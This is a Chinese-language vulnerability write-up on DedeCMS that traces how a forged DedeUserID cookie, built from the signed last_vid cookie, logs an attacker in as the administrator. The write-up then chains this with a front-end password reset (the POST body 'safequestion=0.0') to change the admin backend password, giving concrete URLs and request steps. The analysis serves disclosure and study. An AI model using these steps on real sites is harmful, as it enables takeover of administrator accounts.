DEDECMS 管理员后台密码重置漏洞

0x00. 前言

不久前dede有个比较鸡肋的”任意”用户密码重置漏洞,为什么说鸡肋呢?因为如下两点:

  • 只要设置了安全的问题的用户的密码就不能被重置,所以并不叫任意用户。
  • 重置的管理员密码只是管理员的前台账户,而重置后管理员并不能从前台登录。

所以要想真正重置管理员账户,还需要其他漏洞的。

0x01.漏洞分析

member/index.php 29行

首先我们可以看到判断用户登录用到的是member类的isLogin方法:

    if(!$cfg_ml->IsLogin())
    {
        include_once(dirname(__FILE__)."/templets/index-notlogin.htm");
    }
    else
    {
     ....

跟进IsLogin():

include/memberlogin.class.php 293行

    /**
     *  验证用户是否已经登录
     *
     * @return    bool
     */
    function IsLogin()
    {
        if($this->M_ID > 0) return TRUE;
        else return FALSE;
    }

可以看到做了一个很简单的判断,该类的M_ID属性的值大于0即为登录状态.

我们继续跟进$this->M_ID变量:

include/memberlogin.class.php 161行

    function __construct($kptime = -1, $cache=FALSE)
    {
        global $dsql;
        if($kptime==-1){
            $this->M_KeepTime = 3600 * 24 * 7;
        }else{
            $this->M_KeepTime = $kptime;
        }
        $formcache = FALSE;
        $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));

这里可以看到用到了两个函数,我们先看GetCookie()这个函数:

include/helpers/cookie.helper.php 54行

/**
 *  获取Cookie记录
 *
 * @param     $key   键名
 * @return    string
 */
if ( ! function_exists('GetCookie'))
{
    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }
}

可以看到要想从cookie里取出$key对应的正确的值,得满足:

$_COOKIE[$key.'__ckMd5'] == substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)

我们跟进$_COOKIE[$key.'__ckMd5'],在该文件的PutCookie()函数中可以看到它的值是如何生成的:

 function PutCookie($key, $value, $kptime=0, $pa="/")
    {
        global $cfg_cookie_encode,$cfg_domain_cookie;
        setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
        setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
    }
}

取的是一个md5 hash的前16位,然而生成hash值的前缀$cfg_cookie_encode是安装时随机生成写在配置文件的,我们并不能获得,所以这就相当于一个校验hash,防止了cookie伪造。也就是我们想要构造某个用户登录,必须同时取得该用户的id和他对应的这个校验hash值。

那么如果想要构造出cookie,怎么办呢?这就到了这个漏洞的关键点,我们接着看:

/member/index.php 144行

   if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') )
        {
            if($last_vid!='')
            {
                $last_vids = explode(',',$last_vid);
                $i = 0;
                $last_vid = $uid;
                foreach($last_vids as $lsid)
                {
                    if($i>10)
                    {
                        break;
                    }
                    else if($lsid != $uid)
                    {
                        $i++;
                        $last_vid .= ','.$last_vid;
                    }
                }
            }
            else
            {
                $last_vid = $uid;
            }
            PutCookie('last_vtime', $vtime, 3600*24, '/');
            PutCookie('last_vid', $last_vid, 3600*24, '/');

$last_vid为空的时候,$last_vid的值来自于$uid,而$uid是通过$_GET获取到的用户名。

再通过这行代码:PutCookie('last_vid', $last_vid, 3600*24, '/');,我们可以获得该vid对应的ckmd5 hash值。于是乎我们就可以利用这组值来伪造一组正确的cookie登录任意用户。为什么这么说呢?我们继续往下看。

第二个函数,GetNum就是该类的方法,从一个字符串中利用正则替换掉非数字:

    /**
     *  获取整数值
     *
     * @access    public
     * @param     string  $fnum  处理的数值
     * @return    string
     */
    function GetNum($fnum){
        $fnum = preg_replace("/[^0-9\.]/", '', $fnum);
        return $fnum;
    }

当我们传入上面构造好的$last_vid那组值到$_COOKIE[‘DedeUserID’]$_COOKIE[‘DedeUserID__ckMd5’]中时,这样GetCookie(‘DedeUserID’)就能返回我们传入的DedeUserID的值,当再经过上面这个GetNum()函数时候就能得到只有数字的结果,也就是我们想要的任意用户id了,这样就实现了任意用户登录。

再者配合前面的任意用户密码重置,我们可以修改掉管理员前台的帐号密码,接着再利用上面的漏洞构造前台管理员登录后,将修改后的密码作为原密码就可以在重置掉管理员的密码,这时也会修改管理员的后台密码。

member/edit_baseinfo.php 115行

$query1 = "UPDATE #@__member SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);

//如果是管理员,修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
    $query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
    $dsql->ExecuteNoneQuery($query2);
}

0x02.具体利用

  • 构造好管理员前台登录的cookie。

    由于管理员的mid为1,所以我们注册一个用户,用户名为只要含有一个数字1就行,比如:1qwerty。

    注册后访问其个人空间:

    http://127.0.0.1/dede/member/index.php?uid=1qwerty 在返回包的header头里得到我们需要的值:

    TIM截图20180118165548

    将这两个值分别替换掉cookie里的DedeUserIDDedeUserID__ckMd5,这时的DedeUserID通过GetCookie()取出后就是1qwerty,再经过GetNum()得到的$this->M_ID的值就是1。这样就可以登录到管理员的前台账户。

    TIM截图20180118172452

  • 利用前面的任意用户密码重置漏洞重置管理员前台用户密码

    http://127.0.0.1/dede/member/resetpassword.php

    POST:dopost=safequestion&gourl=&id=1&safequestion=0.0

    得到重置连接:

    http://127.0.0.1/dede/member/resetpassword.php?dopost=getpasswd&id=1&key=1cYTeSUo

    最后利用重置后的管理员密码为原密码在基本资料中重置密码:

    http://127.0.0.1/dede/member/edit_baseinfo.php

    TIM截图20180118173211

    重置后即可登录后台。

  • 发表评论

    电子邮件地址不会被公开。 必填项已用*标注